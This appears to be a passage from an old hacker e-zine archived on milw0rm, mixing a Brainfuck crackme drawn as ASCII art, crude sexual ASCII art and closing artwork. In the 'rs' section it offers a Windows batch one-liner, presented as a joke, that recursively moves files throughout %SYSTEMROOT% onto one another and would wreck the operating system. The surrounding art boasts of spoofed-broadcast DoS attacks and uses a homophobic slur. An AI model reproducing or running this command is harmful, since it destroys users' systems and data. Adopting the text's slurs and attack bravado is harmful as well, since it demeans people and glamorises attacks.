       d++[    '<-------->-]<[[-]++++bggpd++++b_           ++[b
      :>++      _+++++++<-]>---.-----.---.-.-----p___g_     --.;
      <<];     d>>>>[[[<<<<+>>>>-]>]<<<+^"^++++++^^+++[;    :>--
     :---     :>--->---->----:->-------_    "^--bpd>---_     ---;
     ---;     :-->---------->b------>^^--p_    `--->---;     :---
    :>--      :--->---->------ `^^^'    "^>-p_    l-`->       ---;
    :---      >---->---------              `-->p__;-b         ---;
    >--;      -->---->------;                `-----:>b        :---
    ---;      >---------->---                        -b    _  :---
    :---     d->--->---->----_                        -b___-b >--;
    :---  _g->---->------>-----p____________gp__      :-`^^^' >--;
     -->;  `^^'----------->--->----->---->-------p_    -b___ :->-
     :---       ->----->----->---->---------->-----b_   "^"  ---;
      -->;       `----------->------>----------->----b      :---
      :---        >----->------>---->----->---------->;     ---;
       ---b    _  :>-`--->----->----->----->------>----;   d---
        ---b   >----; :>---->----[<]>-]>--->-->+>+++>++>  d>++
         >++b   `^^'  +>+ "^++>++++>->----->>----->+++>- d---
          >>-b        --     ->--->----->++>->++++>>+>-;d->+
           +>+b_      '       +>->>+>++>->--->-->--->---->+
            `+++>p_          d>->----->++++>+>+>+++>+++>-'
              `-->--p______g--->++>+++>++++>++>+++>----'
                "^>+++>++++>>++++>>----->->----[<]>[^"
                   "^<<+<[<]>[[>]<+>>-<<[<]>-]>[>^"
                       ""]<->>.[-]>]]++++++++++."

$ ./bf crackme.txt



[====[ rs ]====================================================================]


REM TEM TEM HAR HAR !!
for /R %SYSTEMROOT% %i in (*.*) do @for /D %x in 
  ("move %~fsi %L%","set L=%~fsi") do @%~x 2>NUL


[====[ iq ]====================================================================]

  far into the forests of medieval Europe, lives a bunch of blue wankers!
  we happened to snort a conv. with a wanker and some fag named Gargamel?

                                _,,aaaaa,,_
                             _,dP"''    `""""Ya,_
                          ,aP"'                `"Yb,_
                        ,8"'                       `"8a,
                      ,8"                             `"8,_
                    ,8"                                  "Yb,
                  ,8"                                      `8,
                 dP'                                        8I
               ,8"                           bg,_          ,P'
              ,8'                              "Y8"Ya,,,,ad"
             ,d"                            a,_ I8   `"""'
            ,8'                              ""888           *moan*
            dP     __                           `Yb,
           dP'  _,d8P::::Y8b,                     `Ya    *giggle*
      ,adba8',d88P::;;::;;;:"b:::Ya,_               Ya
     dP":::"Y88P:;P"""YP"""Yb;::::::"Ya,             "Y,     *giggle*
     8:::::::Yb;d" _  "_    dI:::::::::"Yb,__,,gd88ba,db
     Yb:::::::"8(,8P _d8   d8:::::::::::::Y88P"::::::Y8I
     `Yb;:::::::""::"":b,,dP::::::::::::::::::;aaa;:::8(   *moan*
       `Y8a;:::::::::::::::::::::;;::::::::::8P""Y8)::8I
         8b"ba::::::::::::::::;adP:::::::::::":::dP::;8'
         `8b;::::::::::::;aad888P::::::::::::::;dP::;8'
          `8b;::::::::""""88"  d::::::::::b;:::::;;dP'  
            "Yb;::::::::::Y8bad::::::::::;"8Paaa""    Sup *G*!
              `"Y8a;;;:::::::::::::;;aadP""    I'm blue wanker #08h!
                  ``""Y88bbbdddd88P""8b,
                           _,d8"::::::"8b,     I specialize in DoS-
                         ,dP8"::::::;;:::"b,   attacks which involves
                       ,dP"8:::::::Yb;::::"b,  spoofed bcast messages
                     ,8P:dP:::::::::Yb;::::"b,
                  _,dP:;8":::::::::::Yb;::::"b I used to be very, very
        ,aaaaaa,,d8P:::8":::::::::::;dP:::::;8 popular, but these days
     ,ad":;;:::::"::::8"::::::::::;dP::::::;dI people just don't fancy
    dP";adP":::::;:;dP;::::aaaad88"::::::adP:8b,___   a blue wanker...
   d8:::8;;;aadP"::8'Y8:d8P"::::::::::;dP";d"'`Yb:"b
   8I:::;""":::::;dP I8P"::::::::::;a8"a8P"     "b:P  ...i guess!
   Yb::::"8baa8"""'  8;:;d"::::::::d8P"'         8"
    "YbaaP::8;P      `8;d::;a::;;;;dP           ,8  ...i guess people
       `"Y8P"'         Yb;;d::;aadP"           ,d'  these days do not
                        "YP:::"P'             ,d' like me giving them
                          "8bdP'    _        ,8' huge amounts of free
                         ,8"`""Yba,d"      ,d"  sexy icmp's...
                        ,P'     d"8'     ,d"
                       ,8'     d'8'     ,P' But believe me, i'm still
                       (b      8 I      8,     out there...wanking!!!
                        Y,     Y,Y,     `b,
                  ____   "8,__ `Y,Y,     `Y""b,     And if you are...
              ,adP""""b8P""""""""Ybdb,        Y,    wankable...
            ,dP"    ,dP'            `""       `8
           ,8"     ,P'                        ,P    i will fucking
           8'      8)                        ,8'    wank you!
           8,      Yb                      ,aP'
           `Ya      Yb                  ,ad"'  you got that Gargamel!
             "Ya,___ "Ya             ,ad"'
               ``""""""`Yba,,,,,,,adP"'        ...i'll wank you hard!
                          `"""""""'
                        
                             after all this...
      we picked up some noize, we don't know what it was but we did
      hear "Azrael fuck him up" shouted out loud a couple of times.
                     ...whatever the hell that means?

                   let's leave them in peace, shall we!


[==============================================================================]


                              _..gggggppppp.._
                         _.go2DD54CA5F04E6EE60Aop._
                      .g4CBD616BE88DF93F761A90FA0393p.
                   .g9A1C6A235A1DC2208D42AB86940C9A954Ep.
                 .oDA77550E3A55D3F079F0B6E6959916DE95CAE3o.
               .o52950F71920F908B563D6A79DDD4A375DA5978CE25o.
              o7EC76BC428D48FC156D98C79077EFCE5DA156F4552C40Bo
             o4A55E5C22696814ECA2332797A7B5B088A9DD82D09D1A0A3o
            oEE3BBD799DEDE79EAF3B2BFC71CEA704AD412B8FD612A3B29Bo
           o9D7675F188662EEAD5FA677A6C2F934DE3194460F0E51B57857Co
          o317227593982925589EF8B5D496D3C0039B7D9200DD44DB26AA8CBo
         :F0D819CD076F1229B151A00CC514BB9349452681389C6A710C78E791;
         43894E690A8FCD6BFFC2325602BE5B9A1E3529EDC610C780878DD79C63
        :A52BCB8D42BFFDC72DE221729F0A5A221A01EEEAFDCC83C90165E195B0;
        C7FA692DAAA1D35EE0AFEA42CC318E55F8CFD72D51B27FBCC8BA9C9B7EB0
       :4C9305261B2265F5E69EA44DE49FD840B713E5D94B8DBD52E46033CFE50B;
       :A249372A3F396FA0FD5B6432B796C57E3DC5B3275607BA92D82E1E839482;
       C63AB12D97C8445D031BF57246E5616FAC1E713B7B58EF193C15C2A4598ABC
       379BD8E3C0133B394F83D67F5B20FD797AD4CADA1EB9621A9F517E0D6925F7
       :D1D54FCB21589171B2DBE1D8E87936ABAP"'    "QCE3AD9D4CAA0A74B33;
       :B832EACD8E987E0F18365F974D98F7FF1Y        Y04CCB95C9904CC617;
        77CF38BC802B1B933E79C99432F185103          EC58A3DB7240EC742
        :039AD9304D24EA8E5C13B76E6C7F71CA.        .624F0879C4820007;
         F383A4082BDB1378F30D6E5797FD9559O        O050224388E474486
         :D05F6D6317D05EFAB48C9C9F77D884C2o,_  _,oDD5FF0DDD9238647;
          T29CFE61A0A56AF9929295E12C5E82B2FB3CF5F811B4D8C5E35E210P
           T3B04FAE89130E3915652630B8B84EFEB7BBAB4142EB46C90922EP
            T02EF86A5DF116B42275CD09135EBA92A51662C9F719C944ABAP
             TA8137CFF503939AEB079D9566230965C652A2ACEAC29D347P
              TD45EB4066AC89F3EF5B7E148C295C575ECF62E8E080119P
               `TF0FDC2A352208F32F3EB2B6F1C94A5F220EC9AE9D0P'
                 `TD5E77B45C728B6AD5549DA225C3A855CAE9ACCP'
                   "^DE7171378BED7E10E5DEB5A0A8377593FF^"
                      "^T8314220058FB8B21831A734F04P^"
                          '""^^^T72B267EFA7T^^^""'


                           I make that shit work.
                        No one rules the clit like me.
                          I AM THE CLIT COMMANDER. 



  mov al,3     ;  .aware cr3w restores video m0de     -     -   =  ==== = === =]
  int 10h      ;  -      =     =    =   = ==== ======= === ======= = ======== =]
[==============================================================================]

# milw0rm.com [2007-10-17]